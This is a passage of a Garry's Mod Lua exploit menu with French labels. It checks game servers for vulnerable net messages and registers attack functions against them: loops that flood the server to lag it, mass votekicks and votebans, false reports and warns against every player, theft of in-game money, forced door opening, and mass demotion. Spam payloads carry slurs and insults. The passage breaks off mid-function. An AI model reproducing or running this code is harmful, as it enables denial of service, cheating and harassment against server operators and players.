4644NOTIFICATION("Starting Lagger")
4645else
4646timer.Remove("lagger10")
4647NOTIFICATION("Stopping Lagger")
4648end
4649end )
4650end
4651
4652status = ValidNetString("MG2.Request.GangRankings")
4653if (status) then
4654CHATPRINT("Exploit Trouvé : Lagger #11 [MG2.Request.GangRankings]")
4655addExploit( "33","Lagger #11", "", function()
4656surface.PlaySound("garrysmod/ui_click.wav")
4657if !timer.Exists( "lagger11" ) then
4658timer.Create("lagger11", 0, 0, function()
4659for i = 1, 1000 do
4660net.Start("MG2.Request.GangRankings",true)
4661net.SendToServer()
4662end
4663end)
4664NOTIFICATION("Starting Lagger")
4665else
4666timer.Remove("lagger11")
4667NOTIFICATION("Stopping Lagger")
4668end
4669end )
4670end
4671
4672status = ValidNetString("dLogsGetCommand")
4673if (status) then
4674CHATPRINT("Exploit Trouvé : Lagger #12 [dLogsGetCommand]")
4675addExploit( "34","Lagger #12", "", function()
4676surface.PlaySound("garrysmod/ui_click.wav")
4677NOTIFICATION("Starting Lagger")
4678for i=1,7000 do
4679net.Start("dLogsGetCommand",true)
4680net.WriteTable({ cmd = "+forward" , args = " " })
4681net.SendToServer()
4682end
4683end )
4684end
4685
4686status = ValidNetString("ats_send_toServer")
4687if (status) then
4688CHATPRINT("Exploit Trouvé : Lagger #13 [ats_send_toServer]")
4689addExploit( "35","Lagger #13", "", function()
4690surface.PlaySound("garrysmod/ui_click.wav")
4691NOTIFICATION("Starting Lagger")
4692for i=1,2000 do
4693net.Start("ats_send_toServer",true)
4694net.WriteTable({ " " , "Open" , nil , nil , nil , nil })
4695net.SendToServer()
4696end
4697end )
4698end
4699
4700status = ValidNetString("shopguild_buyitem")
4701if (status) then
4702CHATPRINT("Exploit Trouvé : Exploit De Guildes [shopguild_buyitem]")
4703addExploit( "36","Exploit De Guildes", "", function()
4704surface.PlaySound("garrysmod/ui_click.wav")
4705CHATPRINT("Guild level successfully upgraded")
4706local level = tonumber(LocalPlayer():GetNWInt("lvlguild"))
4707if level > tonumber(LocalPlayer():GetNWInt("lvlguild")) then level = tonumber(LocalPlayer():GetNWInt("lvlguild")) end
4708net.Start("shopguild_buyitem")
4709net.WriteString("lvl")
4710net.WriteDouble(level)
4711net.WriteString("Guild Level "..level)
4712net.WriteEntity(LocalPlayer())
4713net.WriteUInt(2,4)
4714net.WriteDouble(0)
4715net.SendToServer()
4716level = level + 1
4717end )
4718end
4719
4720status = ValidNetString("VoteKickNO")
4721if (status) then
4722CHATPRINT("Exploit Trouvé : Votekick [VoteKickNO]")
4723addExploit( "37","Votekick", "kicking all", function()
4724surface.PlaySound("garrysmod/ui_click.wav")
4725for k,v in pairs(player.GetAll()) do
4726net.Start("VoteKickNO")
4727net.WriteFloat(v:EntIndex())
4728net.WriteFloat(6)
4729net.SendToServer()
4730net.Start("VoteKickNO")
4731net.WriteFloat(v:EntIndex())
4732net.WriteFloat(6)
4733net.SendToServer()
4734net.Start("VoteKickNO")
4735net.WriteFloat(v:EntIndex())
4736net.WriteFloat(6)
4737net.SendToServer()
4738net.Start("VoteKickNO")
4739net.WriteFloat(v:EntIndex())
4740net.WriteFloat(6)
4741net.SendToServer()
4742end
4743end )
4744end
4745
4746status = ValidNetString("VoteBanNO")
4747if (status) then
4748CHATPRINT("Exploit Trouvé : Voteban [VoteBanNO]")
4749addExploit( "38","Voteban", "bans all", function()
4750surface.PlaySound("garrysmod/ui_click.wav")
4751for k,v in pairs(player.GetAll()) do
4752net.Start("VoteBanNO")
4753net.WriteFloat(v:EntIndex())
4754net.WriteFloat(8)
4755net.SendToServer()
4756net.Start("VoteBanNO")
4757net.WriteFloat(v:EntIndex())
4758net.WriteFloat(8)
4759net.SendToServer()
4760net.Start("VoteBanNO")
4761net.WriteFloat(v:EntIndex())
4762net.WriteFloat(8)
4763net.SendToServer()
4764end
4765end )
4766end
4767
4768status = ValidNetString("NewReport")
4769if (status) then
4770CHATPRINT("Exploit Trouvé : Report Modifié [NewReport]")
4771addExploit( "39","Report Modifié", "", function()
4772surface.PlaySound("garrysmod/ui_click.wav")
4773for k,v in pairs(player.GetAll()) do
4774net.Start("NewReport")
4775net.WriteType(ply)
4776net.WriteInt(8,5)
4777net.WriteString("hahaha")
4778net.SendToServer()
4779end
4780end )
4781end
4782
4783status = ValidNetString("Warn_CreateWarn")
4784if (status) then
4785CHATPRINT("Exploit Trouvé : Warns Modifiés [Warn_CreateWarn]")
4786addExploit( "40","Warns Modifiés", "", function()
4787surface.PlaySound("garrysmod/ui_click.wav")
4788for k,v in pairs(player.GetAll()) do
4789net.Start("Warn_CreateWarn")
4790net.WriteEntity(ply)
4791net.WriteString("hahaha")
4792net.SendToServer()
4793end
4794end )
4795end
4796
4797status = ValidNetString("showDisguiseHUD")
4798if (status) then
4799CHATPRINT("Exploit Trouvé : Déguisements #2 [showDisguiseHUD]")
4800addExploit( "41","Déguisements #2", "", function()
4801surface.PlaySound("garrysmod/ui_click.wav")
4802CHATPRINT("Choisi Ton Déguisements")
4803PlayerCount = 0
4804for k, v in pairs(player.GetAll()) do
4805PlayerCount = PlayerCount + 1
4806end
4807local TeamNum
4808local disguise_Model_Preview_Default
4809local base = vgui.Create("DFrame")
4810base:SetSize(300,420)
4811base:Center()
4812base:SetTitle(" ")
4813base:ShowCloseButton(false)
4814base:MakePopup()
4815function base:Paint()
4816draw.RoundedBoxEx( 5, 0, 0, base:GetWide(), base:GetTall(), Color(20,20,20,200),false,true)
4817draw.RoundedBox( 0, 0, 30, base:GetWide(), base:GetTall()-60, Color(10,10,10,200))
4818draw.RoundedBox( 0, 0, 30, base:GetWide(), 5, Color(255,255,255,255))
4819draw.RoundedBox( 0, 0, 390, base:GetWide(), 5, Color(255,255,255,255))
4820draw.SimpleText("Déguisements", "DisFontBold", base:GetWide()/4, -1)
4821end
4822local ExitButton = vgui.Create("DButton", base)
4823ExitButton:SetPos(base:GetWide()+4-ExitButton:GetWide())
4824ExitButton:SetText("Fermer")
4825ExitButton:SetSize(60,20)
4826ExitButton:SetFont("DermaDefaultBold")
4827ExitButton.Paint = function()
4828if ExitButton.Hovered then
4829if ExitButton:IsDown() then
4830ExitButton:SetTextColor(Color(200,200,200,200))
4831draw.RoundedBoxEx(5,0,0, ExitButton:GetWide(), ExitButton:GetTall(), Color(255,0,0,200),false,true)
4832else
4833ExitButton:SetTextColor(Color(255,255,255,255))
4834draw.RoundedBoxEx(5,0,0, ExitButton:GetWide(), ExitButton:GetTall(), Color(255,0,0,255),false,true)
4835end
4836else
4837ExitButton:SetTextColor(Color(20,20,20,200))
4838draw.RoundedBoxEx(5,0,0, ExitButton:GetWide(), ExitButton:GetTall(), Color(200,0,0,200),false,true)
4839end
4840end
4841function ExitButton.DoClick()
4842base:Remove()
4843net.Start("changeToPhysgun")
4844net.SendToServer()
4845end
4846local DTeamChoice = vgui.Create("DComboBox", base)
4847DTeamChoice:SetSize(150, 22)
4848DTeamChoice:SetPos(75, 50)
4849DTeamChoice:SetValue("Choisi L'Emplois")
4850for k, v in pairs(team.GetAllTeams()) do
4851if !(HIDDEN_TEAMS[ k ] ) and (team.NumPlayers(k) ~= 0) then DTeamChoice:AddChoice(team.GetName(k)) end
4852end
4853DTeamChoice.OnSelect = function(panel, index, value)
4854for k,_ in pairs(team.GetAllTeams()) do
4855if value == team.GetName(k) then
4856for _, v in pairs(player.GetAll())do
4857if v:Team() == k then
4858TeamNum = v:Team()
4859disguise_Model_Preview_Default = v:GetModel()
4860end
4861end
4862end
4863end
4864timer.Create("RefreshModel", 0.1, 0, function()
4865local icon = vgui.Create( "DModelPanel", base )
4866icon:SetSize(300, 260)
4867icon:SetPos(-5, 80)
4868icon:SetFOV(68)
4869icon:SetModel( disguise_Model_Preview_Default )
4870timer.Simple(0.1, function()
4871icon:Remove()
4872end)
4873end)
4874local DisguiseButton = vgui.Create("DButton", base)
4875DisguiseButton:SetPos(base:GetWide()/2.5, 360)
4876DisguiseButton:SetSize(60,20)
4877DisguiseButton:SetText("Accepter")
4878DisguiseButton:SetFont("DermaDefaultBold")
4879function DisguiseButton:Paint()
4880if DisguiseButton.Hovered then
4881if DisguiseButton:IsDown() then
4882DisguiseButton:SetTextColor(Color(200,200,200,200))
4883draw.RoundedBoxEx(0,0,0, DisguiseButton:GetWide(), DisguiseButton:GetTall(), Color(60,200,0,200))
4884else
4885DisguiseButton:SetTextColor(Color(255,255,255,255))
4886draw.RoundedBoxEx(0,0,0, DisguiseButton:GetWide(), DisguiseButton:GetTall(), Color(60,220,0,255))
4887end
4888else
4889DisguiseButton:SetTextColor(Color(20,20,20,200))
4890draw.RoundedBoxEx(0,0,0, DisguiseButton:GetWide(), DisguiseButton:GetTall(), Color(60,200,0,255))
4891end
4892end
4893function DisguiseButton:DoClick()
4894net.Start("SetPlayerModel")
4895if ChosenName == nil then
4896net.WriteString(LocalPlayer():Nick())
4897else
4898net.WriteString(ChosenName)
4899end
4900net.WriteUInt(TeamNum, 16)
4901net.SendToServer()
4902base:Close()
4903net.Start("changeToPhysgun")
4904net.SendToServer()
4905end
4906end
4907end
4908)
4909end
4910
4911status = ValidNetString("Chatbox_PlayerChat")
4912if (status) then
4913CHATPRINT("Exploit Trouvé : Spam Chat [Chatbox_PlayerChat]")
4914addExploit( "42","Spam Chat", "", function()
4915surface.PlaySound("garrysmod/ui_click.wav")
4916NOTIFICATION("Starting")
4917timer.Create("willoxchatspam", 1, 0, function()
4918net.Start("Chatbox_PlayerChat")
4919net.WriteEntity(LocalPlayer())
4920net.WriteBit(1)
4921net.WriteString("FAGGOTS")
4922net.WriteBit(1)
4923net.SendToServer()
4924end )
4925end )
4926end
4927
4928status = ValidNetString("BuilderXToggleKill")
4929if (status) then
4930CHATPRINT("Exploit Trouvé : Exploits Constructeur Contre Tueur [BuilderXToggleKill]")
4931addExploit( "43","Exploits Constructeur Contre Tueur", "", function()
4932surface.PlaySound("garrysmod/ui_click.wav")
4933NOTIFICATION("Starting")
4934for k, v in pairs(player.GetAll()) do
4935net.Start("BuilderXToggleKill")
4936net.WriteEntity(ply)
4937net.SendToServer()
4938end
4939end )
4940end
4941
4942status = ValidNetString("reports.submit")
4943if (status) then
4944CHATPRINT("Exploit Trouvé : Report Tout Le Monde [reports.submit]")
4945addExploit( "44","Report Tout Le Monde", "", function()
4946surface.PlaySound("garrysmod/ui_click.wav")
4947NOTIFICATION("Starting")
4948for k,v in pairs(player.GetAll()) do
4949net.Start("reports.submit")
4950net.WriteEntity(v)
4951net.WriteInt(5, 8)
4952net.WriteString("SuckMyDick")
4953net.SendToServer()
4954end
4955end )
4956end
4957
4958status = ValidNetString("services_accept")
4959if (status) then
4960CHATPRINT("Exploit Trouvé : Spam Services [services_accept]")
4961addExploit( "45","Spam Services", "spam to all players", function()
4962surface.PlaySound("garrysmod/ui_click.wav")
4963NOTIFICATION("Starting")
4964timer.Create("serviceaccept", 0, 0, function()
4965for k,v in pairs(player.GetAll()) do
4966net.Start("services_accept")
4967net.WriteString("Nice security, retards xd")
4968net.WriteVector(Vector(v:GetPos()))
4969net.WriteString("test image")
4970net.WriteEntity(v)
4971net.SendToServer()
4972end
4973end )
4974timer.Simple(4, function()
4975timer.Destroy("serviceaccept")
4976end )
4977end )
4978end
4979
4980status = ValidNetString("lockpick_sound")
4981if (status) then
4982CHATPRINT("Exploit Trouvé : LockPick Spam Son [lockpick_sound]")
4983addExploit( "46","LockPick Spam Son", "", function()
4984surface.PlaySound("garrysmod/ui_click.wav")
4985NOTIFICATION("Starting")
4986timer.Create( "spamlockpicksound", 3, 0, function()
4987for k, v in pairs( player.GetAll() ) do
4988net.Start("lockpick_sound")
4989net.WriteEntity(v)
4990net.SendToServer()
4991end
4992end )
4993timer.Simple(4, function()
4994timer.Destroy("spamlockpicksound")
4995end )
4996end )
4997end
4998
4999status = ValidNetString("customprinter_get")
5000if (status) then
5001CHATPRINT("Exploit Trouvé : Voler L'Argents Des Printers [customprinter_get]")
5002addExploit( "47","Voler L'Argents Des Printers", "", function()
5003surface.PlaySound("garrysmod/ui_click.wav")
5004NOTIFICATION("Starting")
5005for k, v in pairs(ents.GetAll()) do
5006if v:GetClass():find("print") then
5007net.Start("customprinter_get")
5008net.WriteEntity(v)
5009net.WriteString("g_money")
5010net.SendToServer()
5011end
5012end
5013end )
5014end
5015
5016status = ValidNetString("InformPlayer")
5017if (status) then
5018CHATPRINT("Exploit Trouvé : SimpleGrab Inform [InformPlayer]")
5019addExploit( "48","SimpleGrab Inform", "", function()
5020surface.PlaySound("garrysmod/ui_click.wav")
5021NOTIFICATION("Starting")
5022for k,v in pairs(player.GetAll()) do
5023for i = 0, 100 do
5024net.Start("InformPlayer")
5025net.WriteEntity(v)
5026net.SendToServer()
5027end
5028end
5029end )
5030end
5031
5032status = ValidNetString("pogcp_report_submitReport")
5033if (status) then
5034CHATPRINT("Exploit Trouvé : Report Tout Le Monde #2 [pogcp_report_submitReport]")
5035addExploit( "49","Report Tout Le Monde #2", "", function()
5036surface.PlaySound("garrysmod/ui_click.wav")
5037NOTIFICATION("Starting")
5038for i = 0, 100 do
5039for k,v in pairs(player.GetAll()) do
5040net.Start("pogcp_report_submitReport")
5041net.WriteString("lol")
5042net.WriteString("nice security retards")
5043net.WriteEntity(v)
5044net.SendToServer()
5045end
5046end
5047end )
5048end
5049
5050status = ValidNetString("1942_Fuhrer_SubmitCandidacy")
5051if (status) then
5052CHATPRINT("Exploit Trouvé : Candidature De Dictateur Instant [1942_Fuhrer_SubmitCandidacy]")
5053addExploit( "50","Candidature De Dictateur Instant", "", function()
5054surface.PlaySound("garrysmod/ui_click.wav")
5055NOTIFICATION("Starting")
5056net.Start("1942_Fuhrer_SubmitCandidacy")
5057net.WriteString(LocalPlayer():Nick())
5058net.SendToServer()
5059end )
5060end
5061
5062status = ValidNetString("FacCreate")
5063if (status) then
5064CHATPRINT("Exploit Trouvé : Fac Create [FacCreate]")
5065addExploit( "51","Fac Create", "old exploit", function()
5066surface.PlaySound("garrysmod/ui_click.wav")
5067NOTIFICATION("Starting")
5068timer.Create("fucklol", 1, 0, function()
5069net.Start("FacCreate")
5070net.WriteString("LOL " .. random_string(5))
5071net.WriteString("LOL " .. random_string(10))
5072net.WriteColor(random_color())
5073net.WriteBool(false)
5074net.WriteString(random_string(5))
5075net.SendToServer()
5076end )
5077end )
5078end
5079
5080status = ValidNetString("FactionInviteConsole")
5081if (status) then
5082CHATPRINT("Exploit Trouvé : Faction Invite [FactionInviteConsole]")
5083addExploit( "52","Faction Invite", "", function()
5084surface.PlaySound("garrysmod/ui_click.wav")
5085NOTIFICATION("Starting")
5086timer.Create("lovedarkexploitsxd", 1, 0, function()
5087for k, v in pairs(player.GetAll()) do
5088net.Start("FactionInviteConsole")
5089net.WriteEntity( ply )
5090net.WriteEntity(table.Random(player.GetAll()))
5091net.SendToServer()
5092end
5093end )
5094end )
5095end
5096
5097status = ValidNetString("WithdrewBMoney")
5098if (status) then
5099CHATPRINT("Exploit Trouvé : Argent Gratuite #2 [WithdrewBMoney]")
5100addExploit( "53","Argent Gratuite #2", "an exploit in the addon 'business'", function()
5101surface.PlaySound("garrysmod/ui_click.wav")
5102NOTIFICATION("Starting")
5103net.Start("WithdrewBMoney")
5104net.WriteInt(50000,32)
5105net.SendToServer()
5106end )
5107end
5108
5109status = ValidNetString("deathrag_takeitem")
5110if (status) then
5111CHATPRINT("Exploit Trouvé : Items Faciles [deathrag_takeitem]")
5112addExploit( "54","Items Faciles", "collects money, weapons", function()
5113surface.PlaySound("garrysmod/ui_click.wav")
5114NOTIFICATION("Starting")
5115count = 0
5116for k, v in pairs( ents.GetAll() ) do
5117if v:GetClass() == "prop_ragdoll" then
5118count = count + 1
5119end
5120end
5121if count == 0 then
5122CHATPRINT("No items found")
5123else
5124CHATPRINT("Amount of items "..count)
5125end
5126for k, v in pairs( ents.GetAll() ) do
5127if v:GetClass() == "prop_ragdoll" then
5128for i=1,10 do
5129net.Start("deathrag_takeitem")
5130net.WriteEntity( v )
5131net.WriteInt(i,16)
5132net.SendToServer()
5133end
5134end
5135end
5136end )
5137end
5138
5139status = ValidNetString("REPPurchase")
5140if (status) then
5141CHATPRINT("Exploit Trouvé : Heal & Armure [REPPurchase]")
5142addExploit( "55","Heal & Armure", "armor and hp", function()
5143surface.PlaySound("garrysmod/ui_click.wav")
5144NOTIFICATION("Starting")
5145if LocalPlayer():Health() < 99 then
5146net.Start("REPPurchase")
5147net.WriteString("HEALTH")
5148net.SendToServer()
5149end
5150if LocalPlayer():Armor() < 99 then
5151net.Start("REPPurchase")
5152net.WriteString("ARMOR")
5153net.SendToServer()
5154end
5155end )
5156end
5157
5158status = ValidNetString("BTTTStartVotekick")
5159if (status) then
5160CHATPRINT("Exploit Trouvé : Votekick #2 [BTTTStartVotekick]")
5161addExploit( "56","Votekick #2", "kick all noobs", function()
5162surface.PlaySound("garrysmod/ui_click.wav")
5163NOTIFICATION("Starting")
5164for k,v in pairs(player.GetAll()) do
5165if v != LocalPlayer() then
5166net.Start("BTTTStartVotekick")
5167net.Start("_nonDBVMVote")
5168net.WriteEntity(v)
5169net.WriteString("")
5170net.WriteString("1")
5171net.SendToServer()
5172end
5173end
5174end )
5175end
5176
5177status = ValidNetString("Resupply")
5178if (status) then
5179CHATPRINT("Exploit Trouvé : Respawn Equipment [Resupply]")
5180addExploit( "57","Respawn Equipment", "", function()
5181surface.PlaySound("garrysmod/ui_click.wav")
5182NOTIFICATION("Starting")
5183net.Start("Resupply")
5184net.SendToServer()
5185end )
5186end
5187
5188status = ValidNetString("DarkRP_Defib_ForceSpawn")
5189if (status) then
5190CHATPRINT("Exploit Trouvé : Respawn [DarkRP_Defib_ForceSpawn]")
5191addExploit( "58","Respawn #2", "just respawn", function()
5192surface.PlaySound("garrysmod/ui_click.wav")
5193NOTIFICATION("Respawn")
5194net.Start("DarkRP_Defib_ForceSpawn")
5195net.SendToServer()
5196end )
5197end
5198
5199status = ValidNetString("FiremanLeave")
5200if (status) then
5201CHATPRINT("Exploit Trouvé : Quitter Les Pompiers [FiremanLeave]")
5202addExploit( "59","Fireman Leave", "", function()
5203surface.PlaySound("garrysmod/ui_click.wav")
5204NOTIFICATION("Starting")
5205net.Start("FiremanLeave")
5206net.SendToServer()
5207end )
5208end
5209
5210status = ValidNetString("PoliceJoin")
5211if (status) then
5212CHATPRINT("Exploit Trouvé : Rejoindre La Police [PoliceJoin]")
5213addExploit( "60","Join the Police 1", "joining the police", function()
5214surface.PlaySound("garrysmod/ui_click.wav")
5215NOTIFICATION("Starting")
5216net.Start("PoliceJoin")
5217net.SendToServer()
5218end )
5219end
5220
5221status = ValidNetString("CreateEntity")
5222if (status) then
5223CHATPRINT("Exploit Trouvé : Crée Une Entité [CreateEntity]")
5224addExploit( "61","Create Entity", "", function()
5225surface.PlaySound("garrysmod/ui_click.wav")
5226NOTIFICATION("Starting")
5227for k,v in pairs(player.GetAll()) do
5228net.Start("CreateEntity")
5229net.WriteString("sent_arc_atm")
5230net.WriteFloat(100000000000000000000000000000000000000000000000000)
5231net.WriteEntity(v)
5232net.SendToServer()
5233end
5234end )
5235end
5236
5237status = ValidNetString("CREATE_REPORT")
5238if (status) then
5239CHATPRINT("Exploit Trouvé : Crée Des Reports [CREATE_REPORT]")
5240addExploit( "62","CREATE REPORT", "", function()
5241surface.PlaySound("garrysmod/ui_click.wav")
5242NOTIFICATION("Starting")
5243local tab = {
5244 REPORTER = v:Nick(),
5245 REPORTERID = v:SteamID(),
5246 FAGGOT = v:Nick(),
5247 FAGGOTID = v:SteamID(),
5248 INFO = "Dite Bonjour A YouTube :D",
5249 PROOF = "https://www.youtube.com/channel/UC0QCztHSlkMOmhzygkV6ssQ"
5250 }
5251for k,v in pairs(player.GetAll()) do
5252net.Start("CREATE_REPORT")
5253net.WriteTable(tab)
5254net.SendToServer()
5255end
5256end )
5257end
5258
5259status = ValidNetString("Hopping_Test")
5260if (status) then
5261CHATPRINT("Exploit Trouvé : Test De Bonheur [Hopping_Test]")
5262addExploit( "62","Hopping Test", "", function()
5263surface.PlaySound("garrysmod/ui_click.wav")
5264NOTIFICATION("Starting")
5265for k,v in pairs(player.GetAll()) do
5266net.Start("Hopping_Test")
5267net.WriteEntity(v)
5268net.WriteString("69.696.696969.69")
5269net.SendToServer()
5270end
5271end )
5272end
5273
5274status = ValidNetString("CpForm_Answers")
5275if (status) then
5276CHATPRINT("Exploit Trouvé : Rejoindre La Police [CpForm_Answers]")
5277addExploit( "63","Join the Police 2", "joining the police #2", function()
5278surface.PlaySound("garrysmod/ui_click.wav")
5279NOTIFICATION("Starting")
5280net.Start("CpForm_Answers")
5281net.WriteEntity(LocalPlayer())
5282net.WriteTable({})
5283net.SendToServer()
5284end )
5285end
5286
5287status = ValidNetString("VehicleUnderglow")
5288if (status) then
5289CHATPRINT("Exploit Trouvé : Néon De Véhicule [VehicleUnderglow]")
5290addExploit( "64","Vehicle Underglow", "", function()
5291surface.PlaySound("garrysmod/ui_click.wav")
5292NOTIFICATION("Starting")
5293net.Start("VehicleUnderglow")
5294net.SendToServer()
5295end )
5296end
5297
5298status = ValidNetString("OpenGates")
5299if (status) then
5300CHATPRINT("Exploit Trouvé : Ouvrir Porte #2 [OpenGates]")
5301addExploit( "65","Ouvrir Porte #2", "Force open the door you are looking at", function()
5302surface.PlaySound("garrysmod/ui_click.wav")
5303NOTIFICATION("Starting")
5304net.Start("OpenGates")
5305net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
5306net.SendToServer()
5307end )
5308end
5309
5310status = ValidNetString("DemotePlayer")
5311if (status) then
5312CHATPRINT("Exploit Trouvé : Démote Tout Les Joueurs [DemotePlayer]")
5313addExploit( "66","Demote All Players", "Demote all players", function()
5314surface.PlaySound("garrysmod/ui_click.wav")
5315NOTIFICATION("Starting")
5316for k, v in pairs(player.GetAll()) do
5317net.Start("DemotePlayer")
5318net.WriteString(v:SteamID())
5319net.SendToServer()
5320end
5321end )
5322end
5323
5324status = ValidNetString("SendMail")
5325if (status) then
5326CHATPRINT("Exploit Trouvé : Envoyez Mail [SendMail]")
5327addExploit( "67","Envoyez Mail", "sending mail to all players", function()
5328surface.PlaySound("garrysmod/ui_click.wav")
5329NOTIFICATION("Starting")
5330for k,v in pairs(player.GetAll()) do
5331net.Start("SendMail")
5332net.WriteString("haha nice security retards")
5333net.WriteString(v:Nick())
5334net.SendToServer()
5335end
5336end )
5337end
5338
5339status = ValidNetString("REPAdminChangeLVL")
5340if (status) then
5341CHATPRINT("Exploit Trouvé : Admin Change Level [REPAdminChangeLVL]")
5342addExploit( "68","Admin Change Level", "free lvl", function()
5343surface.PlaySound("garrysmod/ui_click.wav")
5344NOTIFICATION("Starting")
5345for k,v in pairs(player.GetAll()) do
5346net.Start("REPAdminChangeLVL")
5347net.WriteEntity(v)
5348net.WriteDouble(1090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000)
5349net.SendToServer()
5350end
5351end )
5352end
5353
5354status = ValidNetString("BuyUpgradesStuff")
5355if (status) then
5356CHATPRINT("Exploit Trouvé : Buy Upgrades [BuyUpgradesStuff]")
5357addExploit( "69","Buy Upgrades", "free upgrades", function()
5358surface.PlaySound("garrysmod/ui_click.wav")
5359NOTIFICATION("Starting")
5360net.Start("BuyUpgradesStuff")
5361net.WriteString("")
5362net.WriteFloat(-100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000)
5363net.SendToServer()
5364end )
5365end
5366
5367status = ValidNetString("SquadGiveWeapon")
5368if (status) then
5369CHATPRINT("Exploit Trouvé : Give Weapons [SquadGiveWeapon]")
5370addExploit( "70","Give Weapons", "easy weapon", function()
5371surface.PlaySound("garrysmod/ui_click.wav")
5372inputFrameExists = true
5373inputFrame = vgui.Create( "DFrame" )
5374inputFrame:SetTitle("Choose a weapon!")
5375inputFrame:SetSize( 400, 75 )
5376inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
5377inputFrame:SetDraggable(false)
5378inputFrame:ShowCloseButton(true)
5379inputFrame:MakePopup()
5380inputFrame.Paint = function( self, w, h )
5381draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
5382end
5383local TextEntry = vgui.Create( "DTextEntry", inputFrame )
5384TextEntry:SetSize( 380, 30 )
5385TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
5386TextEntry:SetText( "ls_sniper" )
5387TextEntry.OnEnter = function( self )
5388surface.PlaySound("garrysmod/ui_click.wav")
5389NOTIFICATION("Giving Weapon")
5390net.Start("SquadGiveWeapon")
5391net.WriteString( self:GetValue() )
5392net.WriteEntity(LocalPlayer())
5393net.SendToServer()
5394inputFrame:SetVisible(false)
5395end
5396end )
5397end
5398
5399status = ValidNetString("SetTableTarget")
5400if (status) then
5401CHATPRINT("Exploit Trouvé : Set Table Target [SetTableTarget]")
5402addExploit( "71","Set Table Target", "", function()
5403surface.PlaySound("garrysmod/ui_click.wav")
5404NOTIFICATION("Starting")
5405net.Start("SetTableTarget")
5406net.WriteString("pername")
5407net.WriteString("perjob")
5408net.WriteInt(-10000000000000, 32)
5409net.WriteString("hitmansel")
5410net.WriteString("Anony.")
5411net.WriteString("")
5412net.WriteFloat(0)
5413net.WriteInt(-10000000000000, 32)
5414net.SendToServer()
5415end )
5416end
5417
5418status = ValidNetString("UpdateRPUModelSQL")
5419if (status) then
5420CHATPRINT("Exploit Trouvé : Change character model [UpdateRPUModelSQL]")
5421addExploit( "72","Change character model", "", function()
5422surface.PlaySound("garrysmod/ui_click.wav")
5423NOTIFICATION("Starting")
5424net.Start("UpdateRPUModelSQL")
5425net.WriteString(LocalPlayer():GetEyeTrace().Entity:GetModel())
5426net.SendToServer()
5427end )
5428end
5429
5430status = ValidNetString("disguise")
5431if (status) then
5432CHATPRINT("Exploit Trouvé : Disguise [disguise]")
5433addExploit( "73","Disguise", "allows you to disguise as any job", function()
5434surface.PlaySound("garrysmod/ui_click.wav")
5435inputFrameExists = true
5436inputFrame = vgui.Create( "DFrame" )
5437inputFrame:SetTitle("Enter the number of the job")
5438inputFrame:SetSize( 400, 75 )
5439inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
5440inputFrame:SetDraggable(false)
5441inputFrame:ShowCloseButton(true)
5442inputFrame:MakePopup()
5443inputFrame.Paint = function( self, w, h )
5444draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
5445end
5446local TextEntry = vgui.Create( "DTextEntry", inputFrame )
5447TextEntry:SetSize( 380, 30 )
5448TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
5449TextEntry:SetText( "5" )
5450TextEntry.OnEnter = function( self )
5451surface.PlaySound("garrysmod/ui_click.wav")
5452NOTIFICATION("Disguised")
5453net.Start("disguise")
5454net.WriteInt(tonumber(self:GetValue()), 32)
5455net.SendToServer()
5456inputFrame:SetVisible(false)
5457end
5458end )
5459end
5460
5461status = ValidNetString("gportal_rpname_change")
5462if (status) then
5463CHATPRINT("Exploit Trouvé : Your RP Name #1 [gportal_rpname_change]")
5464addExploit( "74","Your RP Name #1", "allows you to put absolutely any rp name", function()
5465surface.PlaySound("garrysmod/ui_click.wav")
5466inputFrameExists = true
5467inputFrame = vgui.Create( "DFrame" )
5468inputFrame:SetTitle("Enter your name")
5469inputFrame:SetSize( 400, 75 )
5470inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
5471inputFrame:SetDraggable(false)
5472inputFrame:ShowCloseButton(true)
5473inputFrame:MakePopup()
5474inputFrame.Paint = function( self, w, h )
5475draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
5476end
5477local TextEntry = vgui.Create( "DTextEntry", inputFrame )
5478TextEntry:SetSize( 380, 30 )
5479TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
5480TextEntry:SetText( "--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------" )
5481TextEntry.OnEnter = function( self )
5482surface.PlaySound("garrysmod/ui_click.wav")
5483NOTIFICATION("Changed")
5484net.Start("gportal_rpname_change")
5485net.WriteString( (self:GetValue()), 32)
5486net.WriteString(" ")
5487net.SendToServer()
5488inputFrame:SetVisible(false)
5489end
5490end )
5491end
5492
5493status = ValidNetString("NewRPNameSQL")
5494if (status) then
5495CHATPRINT("Exploit Trouvé : Your RP Name #2 [NewRPNameSQL]")
5496addExploit( "75","Your RP Name #2", "allows you to put absolutely any rp name", function()
5497surface.PlaySound("garrysmod/ui_click.wav")
5498inputFrameExists = true
5499inputFrame = vgui.Create( "DFrame" )
5500inputFrame:SetTitle("Enter your name")
5501inputFrame:SetSize( 400, 75 )
5502inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
5503inputFrame:SetDraggable(false)
5504inputFrame:ShowCloseButton(true)
5505inputFrame:MakePopup()
5506inputFrame.Paint = function( self, w, h )
5507draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
5508end
5509local TextEntry = vgui.Create( "DTextEntry", inputFrame )
5510TextEntry:SetSize( 380, 30 )
5511TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
